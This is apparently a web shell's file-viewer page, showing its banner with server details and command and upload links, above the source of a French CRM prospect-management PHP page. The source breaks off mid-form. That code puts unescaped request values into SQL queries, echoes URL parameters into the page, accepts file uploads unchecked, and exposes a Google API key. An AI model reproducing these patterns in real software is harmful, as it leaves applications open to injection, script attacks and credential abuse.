|
Server IP : 10.128.40.6 / Your IP : 216.73.216.233 Web Server : Apache System : Linux webd006.cluster128.gra.hosting.ovh.net 5.15.206-ovh-vps-grsec-zfs-classid #1 SMP Fri May 15 02:41:25 UTC 2026 x86_64 User : logmcpe ( 111175) PHP Version : 7.3.33 Disable Function : _dyuweyrj4,_dyuweyrj4r,dl MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON Directory (0705) : /home/logmcpe/www/mcg/pages/ |
| [ Home ] | [ C0mmand ] | [ Upload File ] |
|---|
<?php
include 'includes/config_tmcpro.php' ;
include 'includes/stable_functions_tmcpro.php' ;
$pagemenu = basename($_SERVER["PHP_SELF"]) ;
// echo "<pre>" ;
// print_r($_GET) ;
// echo "</pre>" ;
// exit() ;
function get_lat_long($address){
$address = str_replace(" ", "+", $address);
/*$json = file_get_contents("https://maps.google.com/maps/api/geocode/json?address=$address&sensor=false&key=AIzaSyC4HqZf-zANxtQqW0riYOrRKdrXvzMqCqM");
$json = json_decode($json);
$lat = $json->{'results'}[0]->{'geometry'}->{'location'}->{'lat'};
$long = $json->{'results'}[0]->{'geometry'}->{'location'}->{'lng'};
return $lat.','.$long;
*/
$url = "https://maps.google.com/maps/api/geocode/json?key=AIzaSyC4HqZf-zANxtQqW0riYOrRKdrXvzMqCqM&address=".urlencode($address);
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$responseJson = curl_exec($ch);
curl_close($ch);
$response = json_decode($responseJson);
if ($response->status == 'OK') {
$latitude = $response->results[0]->geometry->location->lat;
$longitude = $response->results[0]->geometry->location->lng;
/* echo 'Latitude: ' . $latitude;
echo '<br />';
echo 'Longitude: ' . $longitude;
*/ return $latitude.','.$longitude;
} /*else {
echo $response->status;
var_dump($response);
} */
}
if(!empty($_GET['client_id']))
{
$_SESSION["client_id"]=$_GET['client_id'];
}
$cleint_id=$_SESSION["client_id"] ;
$client_id = $_SESSION["client_id"] ;
$_SESSION["cleint_id"]= NULL ;
// exit() ;
if($_GET['sup_tache_pospect']== 1)
{
// echo "test" ;
// exit() ;
$que =dbi_query(" SELECT * FROM sous_tache WHERE `sous_tache_id` = ".$_GET['sous_tache_id']) ;
while($que_sup= dbi_fetch_row($que))
{
$tache_id = $que_sup['tache_id'] ;
$user_id = $que_sup['user_id'] ;
$sous_tache_designation = $que_sup['sous_tache_designation'] ;
$sous_tache_date_fin = $que_sup['sous_tache_date_fin'] ;
$sous_tache_status = $que_sup['sous_tache_status'] ;
$date_creation = $que_sup['date_creation'] ;
$date_heure_creation = $que_sup['date_heure_creation'] ;
$date_heure_fin_tach = $que_sup['date_heure_fin_tach'] ;
$user_id_fin_tache = $que_sup['user_id_fin_tache'] ;
$user_id_creation = $que_sup['user_id_creation'] ;
$date_sup = date('Ymd');
$user_sup = $_SESSION['MCPRO']['login']['4'] ;
$date_heure_sup = date('d-m-Y h:i:s', time());
}
dbi_query("INSERT INTO `sous_tache_sup` (`sous_tache_id`, `tache_id`, `user_id`, `sous_tache_designation`, `sous_tache_date_fin`, `sous_tache_status`, `date_creation`, `user_id_creation`,
`date_heure_creation`, `date_heure_fin_tach`, `user_id_fin_tache`, `user_sup`, `date_sup`, `date_heure_sup`) VALUES
('', '$tache_id', '$user_id', '$sous_tache_designation', '$sous_tache_date_fin', '$sous_tache_status', '$date_creation', '$user_id_creation',
'$date_heure_creation', '$date_heure_fin_tach', '$user_id_fin_tache', '$user_sup', '$date_sup', '$date_heure_sup')");
dbi_query("DELETE FROM `sous_tache` WHERE `sous_tache`.`sous_tache_id` =".$_GET['sous_tache_id']) ;
header('Location:profilprosepct.php?msg= <strong> Bien : </strong>sous tache bien supprimé&color=success');
}
// //////////////////// **********************************l'ajout d'une tache prospect ******************************************* ///////////////////////////////////
if($_POST['submitbtn']=="enregistrer")
{
// echo "bb <br/>" ;
// echo "<pre>" ;
// print_r($_POST) ;
// echo "</pre>" ;
// exit() ;
// echo "<pre>" ;
// print_r($_POST) ;
// echo "<pre>" ;
$page="index.php";
if(!empty($_POST['tache_date_fin']))
{
$tache_date_fin= dateformaint($_POST['tache_date_fin']) ;
}
// echo "==> $tache_date_fin <br/>" ;
// exit() ;
$date_creation = date("Ymd");
$tache_sujet= "Nouvelle demande de devis" ;
// $tache_date_fin=$_POST['tache_date_fin'] ;
$tache_Priorite=$_POST['tache_Priorite'] ;
$salarie_id=$_POST['salarie_id'] ;
// $client_id=$_POST['client_id'] ;
// $user_id=$_SESSION['MCPRO']['user_id'] ;
$user_id = $_SESSION['MCPRO']['login']['4'] ;
$tache_designation=addslashes($_POST['tache_designation']) ;
dbi_query(" INSERT INTO tache (
tache_sujet,
tache_date_fin,
tache_Priorite,
salarie_id,
client_id,
user_id,
date_creation,
tache_prospect
)
VALUES
(
'$tache_sujet',
'$tache_date_fin',
'$tache_Priorite',
'$salarie_id',
'$client_id',
'$user_id',
'$date_creation',
'1'
)") ;
list($tache_idd)=dbi_fetch_row(dbi_query("SELECT max(tache_id) FROM `tache`")) ;
header("Location:profilprosepct.php?msg=tache bien ajouté&color=success&page=$page&rowid=$tache_idd");
}
//////////////////////************************************** Modifer sous tache ***********************************************/////////////////////////////////////////
if(!empty($_POST['sous_tache_id']))
{
// echo "bbbbbb <br/>" ;
// echo "<pre>" ;
// print_r($_POST);
// echo "</pre>" ;
// exit() ;
$sous_tache_designation=addslashes($_POST['sous_tache_designation']) ;
$sous_tache_status = $_POST['sous_tache_status'] ;
$user_id = $_POST['user_id'] ;
$sous_tache_date_fin = $_POST['sous_tache_date_fin'] ;
$sous_tache_id = $_POST['sous_tache_id'] ;
$PRIORITAIRE = $_POST['PRIORITAIRE'];
if($_POST['sous_tache_status'] == 0)
{
// echo "aaaa" ;
// exit() ;
dbi_query(" update sous_tache SET sous_tache_designation ='".$sous_tache_designation."', sous_tache_status ='".$sous_tache_status."', PRIORITAIRE ='".$PRIORITAIRE."', user_id = '".$user_id."',sous_tache_date_fin = '".$sous_tache_date_fin."' WHERE sous_tache_id = '".$sous_tache_id."'");
}
else{
// echo "bbb" ;
// exit() ;
$user_id_fin_tache = $_SESSION['MCPRO']['login']['4'] ;
$date_fin = date('Ymd');
dbi_query(" update sous_tache SET sous_tache_designation ='".$sous_tache_designation."', sous_tache_status ='".$sous_tache_status."', PRIORITAIRE ='".$PRIORITAIRE."', user_id = '".$user_id."',sous_tache_date_fin = '".$sous_tache_date_fin."',date_heure_fin_tach = '".$date_heure_fin_tach."', user_id_fin_tache = '".$user_id_fin_tache."', date_fin = '".$date_fin."' WHERE sous_tache_id = '".$sous_tache_id."'");
}
// echo " update sous_tache SET sous_tache_designation ='".$sous_tache_designation."', sous_tache_status ='".$sous_tache_status."', user_id = '".$user_id."',sous_tache_date_fin = '".$sous_tache_date_fin."' WHERE sous_tache_id = '".$sous_tache_id."'" ;
// exit() ;
header('Location:profilprosepct.php?msg= <strong> Bien : </strong> sous tache bien modifié&color=success');
}
// if(!empty($_POST))
// {
// echo "<pre>" ;
// print_r($_POST) ;
// echo "</pre>" ;
// exit() ;
// }
// ****************************************************** la partie contact ****************************************************************
if($_GET['action']=='sup')
{
$contact_id=$_GET['id'];
$sreussie=dbi_query("DELETE FROM ".contact." WHERE contact_id = $contact_id") ;
header('Location:profilprosepct.php?msg=contact bien supprimé&color=success');
}
if($_POST['modifier']== "modifier" )
{
$contact_nom=addslashes($_POST['contact_nom']);
$contact_pnom=addslashes($_POST['contact_pnom']);
$contact_fonction=addslashes($_POST['contact_fonction']);
$contact_tele1=addslashes($_POST['contact_tele1']);
$contact_tele2=addslashes($_POST['contact_tele2']);
$contact_email=addslashes($_POST['contact_email']);
dbi_query(" UPDATE contact SET contact_nom = '$contact_nom', contact_pnom = '$contact_pnom', contact_fonction = '$contact_fonction', `contact_tele1` = '$contact_tele1', contact_tele2 = '$contact_tele2', contact_email = '$contact_email' WHERE contact_id = ".$_POST['contact_id']);
header('Location:profilprosepct.php?msg=contact bien Modifié&color=success');
}
$qq =dbi_query("SELECT * FROM `categorie`") ;
if($_POST['ajouter_contact']== "ajouter_contact")
{
// echo "$cleint_id <br/>" ;
$contact_nom=$_POST['contact_nom'] ;
$contact_pnom=$_POST['contact_pnom'] ;
$contact_fonction=$_POST['contact_fonction'] ;
$contact_tele1=$_POST['contact_tele1'] ;
$contact_tele2=$_POST['contact_tele2'] ;
$contact_email=$_POST['contact_email'] ;
dbi_query(" INSERT INTO contact (
contact_nom,
contact_pnom,
contact_fonction,
contact_tele1,
contact_tele2,
contact_email,
client_id
)
VALUES
(
'$contact_nom',
'$contact_pnom',
'$contact_fonction',
'$contact_tele1',
'$contact_tele2',
'$contact_email',
'$client_id'
)") ;
header('Location:profilprosepct.php?msg=contact bien ajouté&color=success');
}
//*************************************************** ENd end partie contact end *************************************************************************
//*****************************************************************modifier prosepecte **************************************************************************
if($_POST['modifier_prospect']== "modifier_prospect")
{
// echo "bbb <br/>" ;
// exit() ;
$client_statut=$_POST['cleint_satatu'] ;
$id_Etablissement=$_POST['etab'] ;
$societe=addslashes($_POST['societe']) ;
$id_Categorie=addslashes($_POST['cleint_categorie']) ;
$client_adr1=addslashes($_POST['adr1']) ;
$client_adr2=addslashes($_POST['adr2']) ;
$client_adr3=addslashes($_POST['adr3']) ;
$client_cp=$_POST['cp'] ;
$client_ville=addslashes($_POST['ville']) ;
$client_tele=$_POST['tele'] ;
$client_fax=$_POST['fax'] ;
$client_adrfact=addslashes($_POST['client_adrfact']) ;
$latlong = get_lat_long($_POST['adr1']);
$map = explode(',' ,$latlong);
$mapLat = $map[0];
$mapLong = $map[1];
dbi_query( " UPDATE client
SET client_nom = '$societe', client_adr1 = '$client_adr1',
client_adr1 = '$client_adr1',
client_adr2 = '$client_adr2',
client_adr3 = '$client_adr3',
client_cp = '$client_cp',
client_ville = '$client_ville',
client_statut = '$client_statut',
etablissement_id = '$id_Etablissement',
categorie_id = '$id_Categorie',
client_tele = '$client_tele',
client_fax = '$client_fax',
latitude ='$mapLat',
longitude ='$mapLong'
WHERE client_id = $cleint_id ") ;
$q= dbi_fetch_row(dbi_query("SELECT * FROM client where client_id = ".$cleint_id)) ;
header('Location:profilprosepct.php?msg=Prospect bien modifié&color=success');
}
//*****************************************************************end **************************************************************************
//*************************************************************************************** modifier document **************************************************************************
if($_POST["Modifier_document"]== "Modifier_document"){
// echo "aa <br/>" ;
if (!file_exists($_FILES['file']['tmp_name']) || !is_uploaded_file($_FILES['file']['tmp_name']))
{
// echo "<pre>" ;
// print_r($_POST) ;
// echo "<pre>" ;
// exit() ;
$document_id=$_POST['document_id'] ;
$document_nom=$_POST['document_nom'] ;
// dbi_query("INSERT INTO document_client (
// document_nom,
// client_id,
// document_visibilite,
// date_document,
// document_emplacement )
// VALUES (
// '$document_nom',
// '$client_id',
// '$document_visibilite',
// '$date_document',
// '$target_file'
// )") ;
dbi_query("
UPDATE document_client SET
document_nom = '$document_nom',
client_id = '$client_id'
WHERE document_id = '$document_id'
") ;
header('Location:profilprosepct.php?msg=Document bien Modifié&color=success');
}
else
{
$target_dir = "documents/clients/";
$document_id=$_POST['document_id'] ;
$target_file = $target_dir."".$document_id."". basename(addslashes($_FILES["file"]["name"]));
$uploadOk = 1;
$imageFileType = strtolower(pathinfo($target_file,PATHINFO_EXTENSION));
move_uploaded_file($_FILES["file"]["tmp_name"], $target_file) ;
// header("location: salarie_document.php?msg=Course added&color=success");
$document_nom= addslashes($_POST['document_nom']) ;
$document_visibilite=$_POST['document_visibilite'] ;
dbi_query("
UPDATE document_client SET
document_nom = '$document_nom',
document_emplacement = '$target_file' ,
client_id = '$client_id'
WHERE document_id = '$document_id'
") ;
header('Location:profilprosepct.php?msg=Document bien Modifié&color=success');
// header("location: course.php");
}
}
//*************************************************************************************** l'ajout de document **************************************************************************
function string2url($chaine) {
$chaine = trim($chaine);
$chaine = strtr($chaine, "A?A???а?в?????O?????ф???EEEEийклCз??II??опU?UUщ?ыь???","aaaaaaaaaaaaooooooooooooeeeeeeeecciiiiiiiiuuuuuuuuynn");
$chaine = strtr($chaine,"ABCDEFGHIJKLMNOPQRSTUVWXYZ","abcdefghijklmnopqrstuvwxyz");
$chaine = preg_replace('#([^.a-z0-9]+)#i', '-', $chaine);
$chaine = preg_replace('#-{2,}#','',$chaine);
$chaine = preg_replace('#-$#','',$chaine);
$chaine = preg_replace('#^-#','',$chaine);
return $chaine;
}
if (!is_dir("documents"))
{
mkdir("documents", 0755) ;
chmod("documents", 0755) ;
}
if (!is_dir("documents/clients"))
{
mkdir("documents/clients", 0755) ;
chmod("documents/clients", 0755) ;
}
if (!is_dir("documents/intervenants"))
{
mkdir("documents/intervenants", 0755) ;
chmod("documents/intervenants", 0755) ;
}
$nomrep="documents/clients";
if($_POST["ajouter_document"]== "ajouter_document"){
// echo "<pre>" ;
// print_r($_FILES) ;
// echo "<pre>" ;
// echo "<pre>" ;
// print_r($_POST) ;
// echo "<pre>" ;
// exit() ;
list($document_id)= dbi_fetch_row(dbi_query( "SELECT max(document_id) FROM `document_client`")) ;
$document_id= $document_id + 1 ;
$target_dir = "documents/clients/";
$date_document = date('Ymd');
$target_file = $target_dir."".$document_id."". basename(addslashes($_FILES["file"]["name"]));
$uploadOk = 1;
$imageFileType = strtolower(pathinfo($target_file,PATHINFO_EXTENSION));
move_uploaded_file($_FILES["file"]["tmp_name"], $target_file) ;
// header("location: salarie_document.php?msg=Course added&color=success");
$document_nom=addslashes($_POST['document_nom']) ;
$document_visibilite=$_POST['document_visibilite'] ;
dbi_query("INSERT INTO document_client (
document_nom,
client_id,
document_visibilite,
date_document,
document_emplacement )
VALUES (
'$document_nom',
'$client_id',
'$document_visibilite',
'$date_document',
'$target_file'
)") ;
header('Location:profilprosepct.php?msg=Document bien ajouté&color=success');
// $qa1 = dbi_query("SELECT client_nom,client_data FROM ".TABLE_CLIENT." WHERE client_id=$client ") ;
// $a1=dbi_fetch_row($qa1);
// $data = unserialize($a1['client_data']);
// $nbre_data=count($data);
// $nb_min = 1;
// $nb_max = 10000;
// $nombre = mt_rand($nb_min,$nb_max);
// $client_nom=$a1['client_nom'];
// $desc="";
// if(!empty($_POST['desc']))
// $desc=$_POST['desc'];
// $date_doc = date('Ymd');
// $extension = strrchr($_FILES['doc']['name'], '.');
// $nom_doc=addslashes('client-'.$agence.'-'.$client_nom.''.$nombre.''.$extension.'');
// $nom_doc=string2url($nom_doc);
// if(empty($a1['client_data']))
// $client_data=array(array($nom_doc,$date_doc,$desc));
// else {
// $client_data=$data;
// array_push( $client_data,array($nom_doc,$date_doc,$desc));
// }
// if(move_uploaded_file($_FILES['doc']['tmp_name'] , "$nomrep/".$nom_doc.''))
// dbi_query("UPDATE ".TABLE_CLIENT." SET client_data='".addslashes(serialize($client_data))."' WHERE client_id=$client ") ;
// else $erreur=true ;
}
// echo "vvv <br/>" ;
if(isset($_GET['action']) && isset($_GET['id'])&& $_GET['action']=='sup_doc')
{
// echo "vvvKKKK <br/>" ;
// exit();
$id=$_GET['id'];
$qa1 = dbi_query("DELETE FROM document_client WHERE document_id = ".$id) ;
$a1=dbi_fetch_row($qa1);
header('Location:profilprosepct.php?msg=Document bien supprimé&color=success');
}
?>
<!DOCTYPE html>
<html>
<head>
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<!-- Enregistrer le titre de la page --><title> LogMCPRO | Client</title>
<!-- Tell the browser to be responsive to screen width -->
<meta name="viewport" content="width=device-width, initial-scale=1">
<!-- Font Awesome -->
<link rel="stylesheet" href="../../plugins/fontawesome-free/css/all.min.css">
<!-- Ionicons -->
<link rel="stylesheet" href="https://code.ionicframework.com/ionicons/2.0.1/css/ionicons.min.css">
<!-- overlayScrollbars -->
<link rel="stylesheet" href="../../dist/css/adminlte.min.css">
<!-- Google Font: Source Sans Pro -->
<link href="https://fonts.googleapis.com/css?family=Source+Sans+Pro:300,400,400i,700" rel="stylesheet">
<style>
.myCollapse {
display: none;
}
.myCollapse.in {
display: block;
}
.modal-header {
padding: 15px;
border-bottom: 1px solid #e5e5e5;
}
.modal-header {
background: #226faa;
background: -webkit-gradient(linear,left top,right top,from(#226faa),color-stop(37%,#2989d8),to(#72c0d3));
background: linear-gradient(to right,#226faa 0,#2989d8 37%,#72c0d3 100%);
border-radius: 6px;
color: #fff;
padding: 18px;
border-bottom-left-radius: 0;
border-bottom-right-radius: 0;
border-color: transparent;
}
.modal-header .close {
margin-top: -3px;
font-size: 24px;
font-weight: 400;
color: #fff;
opacity: .9;
width: 28px;
height: 28px;
padding-bottom: 0;
padding-left: 1px;
}
button.close {
padding: 0;
cursor: pointer;
background: 0 0;
border: 0;
-webkit-appearance: none;
-moz-appearance: none;
appearance: none;
}
</style>
</head>
<body class="hold-transition sidebar-mini">
<!-- Site wrapper -->
<div class="wrapper">
<!-- TOP MENU -->
<!-- TOP MENU -->
<nav class="main-header navbar navbar-expand navbar-white navbar-light">
<!-- Menu extensible -->
<ul class="navbar-nav">
<li class="nav-item">
<a class="nav-link" data-widget="pushmenu" href="#"><i class="fas fa-bars"></i></a>
<li>
<a href="profilclient.php?preos=client&client_id= <?php echo $client_id ; ?>" ><button type="button" class="btn btn-info"></i> TRANSFORMER EN CLIENT</button> </a>
</li>
<td>
  <button type="button" class="btn btn-info" data-toggle="modal" data-target="#modal-nouveaucontact"> Nouveau Contact</button>
</td>
<td>
  <button href="#myModal_doc" id="custId" data-toggle="modal" type="button" class="btn btn-info" >Nouveau Document</button>
</td>
</li>
<!-- liens TOP MENU GAUCHE-->
<li>
</li>
</ul>
<!-- liens TOP MENU DROITE -->
<ul class="navbar-nav ml-auto">
<!-- Placer ici l'élément à positionner à droite du TOP MENU -->
</ul>
<ul class="navbar-nav ml-auto">
<li class="nav-item">
<a href="login.php?dec=1" class="nav-link">
<i class="nav-icon fas fa-power-off"></i>
</a>
</li><!-- Placer ici l'élément à positionner à droite du TOP MENU -->
</ul>
</nav>
<!-- BARRE DE NAVIGATION -->
<!-- Couleur et caracteristiques de la barre de navigation-->
<?php include('menu.php'); ?>
<div class="modal fade" id="myModal_modif_contact" role="dialog" class="modal fade task-modal-single in" tabindex="-1" aria-labelledby="myLargeModalLabel" >
<div class="modal-dialog modal-lg">
<div class="modal-content data">
<div id="fetch" ></div>
</div>
</div>
</div>
<div class="modal fade" id="document_ajaxModifier" role="dialog" class="modal fade task-modal-single in" tabindex="-1" aria-labelledby="myLargeModalLabel" >
<div class="modal-dialog modal-lg">
<div class="modal-content data">
<div id="fetch_document" ></div>
</div>
</div>
</div>
<div class="modal fade" id="myModal_tache_prospect" role="dialog" class="modal fade task-modal-single in" tabindex="-1" aria-labelledby="myLargeModalLabel" >
<div class="modal-dialog modal-lg">
<div class="modal-content data">
<div id="fetch_tch_prospect" ></div>
</div>
</div>
</div>
<div class="modal fade" id="myModal_doc" role="dialog" class="modal fade task-modal-single in" tabindex="-1" aria-labelledby="myLargeModalLabel" >
<div class="modal-dialog modal-lg">
<div class="modal-content data">
<div id="fetch_doc" ></div>
</div>
</div>
</div>
<!-- *************************** modal cree nouvelle tache ***************** -->
<div class="modal fade" id="modal-tache">
<div class="modal-dialog modal-lg">
<div class="modal-content">
<div class="modal-header">
<h4 class="modal-title">Nouvelle TACHE</h4>
<button type="button" class="close" data-dismiss="modal" aria-label="Close">
<span aria-hidden="true">×</span>
</button>
</div>
<div class="modal-body">
<div class="card-body">
<form action="" method="POST">
<div class="form-row">
<div class="form-group col-md-6">
<label>Priorité </label>
<div class="input-group">
<select class="form-control" name="tache_Priorite" id="tache_Priorite">
<option value="-1" selected="selected" disabled="disabled">-Priorité-</option>
<option value="1" selected > Moyen </option>
<option value="2" > Haute </option>
<option value="3" > Urgente </option>
</select>
</div>
</div>
<?php
$req =dbi_query("SELECT * FROM `salarie` WHERE `salarie_statut` = '1' ORDER BY `salarie`.`salarie_nom` ASC") ;
?>
<div class="form-group col-md-6"><!-- Liste déroulante jour -->
<label>Salarié </label>
<select class="form-control select2" style="width: 100%;" name="salarie_id">
<option value="-1" selected="selected" disabled="disabled">-Salarié-</option>
<?php
while( $sal=dbi_fetch_row($req))
{
?>
<option value="<?php echo $sal['salarie_id'] ; ?>" ><?php echo $sal['salarie_nom']." ".$sal['salarie_prenom']; ?></option>
<?php
}
?>
</select>
</div>
</div>
</div>
</div>
<div class="modal-footer justify-content-between">
<button type="button" class="btn btn-primary" data-dismiss="modal">Fermer</button>
<button type="submit" name="submitbtn" class="btn btn-primary" value="enregistrer" >Enregistrer</button>
</form>
</div>
</div>
</div>
</div>
<!-- *************************** modal cree nouvelle sous tache ***************** -->
<div class="modal fade" id="modal-sousTACHE">
<div class="modal-dialog modal-lg">
<div class="modal-content">
<div class="modal-header">
<h4 class="modal-title">Nouvelle Action</h4>
<button type="button" class="close" data-dismiss="modal" aria-label="Close">
<span aria-hidden="true">×</span>
</button>
</div>
<div class="modal-body">
<div class="card-body">
<form method="post" action="/pages/sms/send_message_sous_tache.php">
<!-- ///////Ligne société & Catégorie -->
<!-- ///////Ligne -->
<div class="form-row">
<?php
$today = date("Y-m-d");
// echo " $today <br/>" ;
?>
<div class="form-group col-md-4">
<label for="inputsociete">Date</label>
<input type="date" class="form-control" id="end" name="sous_tache_date_fin" value="<?=$today?>">
</div>
<?php $req_user =dbi_query("SELECT * FROM `users`") ; ?>
<div class="form-group col-md-4">
<label for="inputsociete" >Affecté à </label>
<!-- <input type="text" class="form-control" name="number" placeholder="jj/mm/aaaa"> -->
<select required="required" class="form-control select2" name="user_id">
<option value="" selected="selected" disabled="disabled">-User-</option>
<?php
while( $user=dbi_fetch_row($req_user))
{
?>
<option value="<?=$user['user_id']?>" ><?php echo $user['user_nom']." ".$user['user_prenom']; ?></option>
<?php
}
?>
</select>
</div>
<div class="form-group col-md-4"><!-- Liste déroulante établissement -->
<label>Terminé</label>
<div class="input-group">
<select class="form-control" name="sous_tache_status">
<option value="0" > NON</option>
<option value="1" > OUI</option>
</select>
</div>
</div>
<div class="form-group col-md-4">
<label>Prioritaire </label>
<div class="input-group">
<!-- <input type="text" class="form-control" name="number" placeholder="jj/mm/aaaa"> -->
<select class="form-control" name="PRIORITAIRE" id="PRIORITAIRE">
<option value="0" selected > NON </option>
<option value="1" > OUI </option>
</select>
</div>
</div>
<div class="form-group col-md-4">
<label>SMS </label>
<div class="input-group">
<!--
il ma demandé de bolqué les sms alors <option value="0" > OUI </option> au lieu <option value="1" > OUI </option>
<input type="text" class="form-control" name="number" placeholder="jj/mm/aaaa"> -->
<select class="form-control" name="sms" id="sms">
<option value="0" selected > NON </option>
<option value="0" > OUI </option>
</select>
</div>
</div>
<div class="form-group col-md-12">
<label for="inputAddresse">Désignation</label>
<textarea class="" placeholder=""
style="width: 100%; height: 200px; font-size: 14px; line-height: 18px; border: 1px solid #dddddd; padding: 10px;" name="sous_tache_designation" ></textarea>
</div>
</div>
<?php list($tache_id)=dbi_fetch_row(dbi_query("SELECT tache_id FROM `tache` WHERE tache_prospect = 1 and client_id = $client_id ")) ; ?>
<input type="hidden" name="tache_idd" value="<?php echo $tache_id ; ?>">
<input type="hidden" name="sous_tache_prespect" value="sous_tache_prespect">
<input type="hidden" name="client_nom" value="<?php echo $nom_de_client ; ?>">
<input type="hidden" name="ajout" value="ajout">
</div>
</div>
<div class="modal-footer justify-content-between">
<button type="button" class="btn btn-primary" data-dismiss="modal">Fermer</button>
<button type="submit" name="submitbtn_sous_tache" value="sous_tache" class="btn btn-primary">Enregistrer</button>
</form>
</div>
</div>
<!-- /.modal-content -->
</div>
<!-- /.modal-dialog -->
</div>
<!-- Ne pas toucher au dessus / fin de la BARRE DE NAVIGATION-->
<!-- DEMARRAGE DE LA PAGE PRINCIPALE -->
<div class="content-wrapper">
<!-- Content Header (Page header) -->
<div class="content-header">
<div class="container-fluid">
<div class="row mb-2">
<!-- ------------------------mo dal nouveau contact *****************- -->
<div class="modal fade" id="modal-nouveaucontact">
<div class="modal-dialog modal-lg">
<div class="modal-content">
<div class="modal-header">
<h4 class="modal-title">Nouveau Contact</h4>
<button type="button" class="close" data-dismiss="modal" aria-label="Close">
<span aria-hidden="true">×</span>
</button>
</div>
<div class="modal-body">
<!-- ///////Ligne Nom -->
<form method="POST" action="">
<div class="form-group">
<label for="inputcontact_nom">Nom</label>
<input type="text" class="form-control" id="inputcontact_nom" name="contact_nom" placeholder="Nom">
</div>
<!-- ///////Ligne Prénom -->
<div class="form-group">
<label for="inputcontact_prenom">Prénom</label>
<input type="text" class="form-control" id="inputcontact_prenom" name="contact_pnom" placeholder="Prénom">
</div>
<!-- ///////Ligne Fonction -->
<div class="form-group">
<label for="inputcontact_fonction">Fonction</label>
<input type="text" class="form-control" id="inputcontact_fonction" name="contact_fonction" placeholder="Fonction">
</div>
<!-- ///////Ligne tele1 -->
<div class="form-group">
<label for="inputcontact_tele1">Telephone</label>
<input type="text" class="form-control" id="inputcontact_tele1" name="contact_tele1" placeholder="Télephone">
</div>
<!-- ///////Ligne tele2 -->
<div class="form-group">
<label for="inputcontact_tele2">Telephone</label>
<input type="text" class="form-control" id="inputcontact_tele2" name="contact_tele2" placeholder="Télephone">
</div>
<!-- ///////Ligne email -->
<div class="form-group">
<label for="inputcontact_email">Email</label>
<input type="text" class="form-control" id="inputcontact_email" name="contact_email" placeholder="Email">
</div>
</div>
<div class="modal-footer justify-content-between">
<input name="ajouter_contact" type="hidden" value="ajouter_contact">
<input type="submit" class="btn btn-primary" value="Enregistrer">
<button type="button" class="btn btn-danger" data-dismiss="modal">Fermer</button>
</div>
</form>
</div>
<!-- /.modal-content -->
</div>
<!-- /.modal-dialog -->
</div>
<div class="col-sm-6">
<h1 class="m-0 text-dark"></h1>
</div><!-- /.col -->
<div class="col-sm-6">
</div><!-- /.col -->
</div><!-- /.row -->
</div><!-- /.container-fluid -->
</div>
<!-- /.content-header -->
<!-- PAGE PRINCIPALE -->
<div class="content">
<div class="container-fluid">
<div class="row">
<!-- DEFINITION DES COLONNES -->
<div class="col-lg-3">
<!-- WIDGET AVEC LE NOM DU CLIENT -->
<?php
// include('widget_client.php');
// include('menu_prospect.php');
?>
</div>
<!-- PASSAGE A LA COLONNE DE DROITE-->
<div class="col-lg-12">
<!-- CARD DE DROITE-->
<div class="card">
<?php
if(isset($_GET["msg"])){
?>
<div class="alert alert-<?php echo $_GET["color"]; ?> alert-dismissible col-12" role="alert">
<strong><?php echo $_GET["color"].': '; ?></strong><?php echo $_GET["msg"]; ?>.
<button type="button" class="close" data-dismiss="alert" aria-label="Close">
<span aria-hidden="true">×</span>
</button>
</div>
<?php
}
?>
<!-- ----------------------------------************************************************* la fiche prospect ********************************************************** -------------- -->
<span class="border border-info">
<div class="card-body">
<form action="" method="POST">
<?php
$q = dbi_fetch_row(dbi_query(" SELECT * FROM `client` WHERE `client_id` = ".$client_id)) ;
// echo "==>".$q['client_statut']."<br/>" ;
if($q['client_statut']==1)
$satut='ca';
else
$satut='ci';
// echo $satut."<br/>" ;
?>
<div class="form-row">
<div class="form-group col-md-6"><!-- Liste déroulante statut -->
<label>
Statut</label>
<select class="form-control" name="cleint_satatu">
<option value="1" <?php if($satut=='ca') echo 'SELECTED'; ?> >Prospect Actif </OPTION>
<option value="0" <?php if($satut=='ci') echo 'SELECTED'; ?> >Prospect Inactif </OPTION>
</select>
</div>
<div class="form-group col-md-6"><!-- Liste déroulante établissement -->
<label>Etablissement</label>
<select class="form-control" name="etab">
<?php
$qr =dbi_query("SELECT * FROM `etablissement`") ;
while($etabs = dbi_fetch_row($qr))
{
?>
<option value="<?=$etabs['etablissement_id'] ?>" <?php if($etabs['etablissement_id']==$q['etablissement_id']) echo 'SELECTED'; ?> ><?=$etabs['etablissement_nom'] ?></option>
<?
}
?>
</select>
</div>
</div> <!-- ///////Permet de passer à la ligne suivante -->
<!-- ///////Ligne hsociété & Catégorie -->
<div class="form-row"> <!-- champs Société -->
<div class="form-group col-md-6">
<label for="inputsociete">Société</label>
<input type="text" class="form-control" id="inputsociete" name="societe" placeholder="Société" value="<?=$q['client_nom'] ; ?>">
</div>
<div class="form-group col-md-6"><!-- Liste déroulante statut -->
<label>Catégorie</label>
<select class="form-control" name="cleint_categorie">
<?php
$qq =dbi_query("SELECT * FROM `categorie`") ;
while($cat = dbi_fetch_row($qq))
{
?>
<option value="<?=$cat['categorie_id'] ?>" <?php if($q['categorie_id']==$cat['categorie_id']) echo 'SELECTED'; ?> ><?=$cat['categorie_nom'] ?></option>
<?
}
?>
</select>
</div>
</div> <!-- ///////Permet de passer à la ligne suivante -->
<!-- ///////Ligne Adresse 1 -->
<div class="form-group">
<label for="inputAddresse">Addresse</label>
<input type="text" class="form-control" id="inputAddresse" name="adr1" value="<?=$q['client_adr1'] ; ?>" >
</div>
<!-- ///////Ligne Adresse 2 -->
<div class="form-group">
<label for="inputAddresse2">Addresse 2</label>
<input type="text" class="form-control" id="inputAddresse2" name="adr2" value="<?=$q['client_adr2'] ; ?>" >
</div>
<!-- ///////Ligne Adresse 3 -->
<div class="form-group">
<label for="inputAddresse3">Addresse 3</label>
<input type="text" class="form-control" id="inputAddresse3" name="adr3" value="<?=$q['client_adr3'] ; ?>">
</div>
<!-- ///////Ligne Code Postal & Ville -->
<div class="form-row">
<div class="form-group col-md-4">
<label for="inputcp">Code Postal</label>
<input type="text" class="form-control" name="cp" id="inputcp" value="<?=$q['client_cp'] ; ?>">
</div>
<div class="form-group col-md-8">
<label for="inputville">Ville</label>
<input type="text" class="form-control" name="ville" id="inputville" value="<?=$q['client_ville'] ; ?>" >
</div>
</div>
<!-- ///////Ligne téléphone & Fax-->
<div class="form-row">
<div class="form-group col-md-6"><!-- Télephone -->
<div class="form-group">
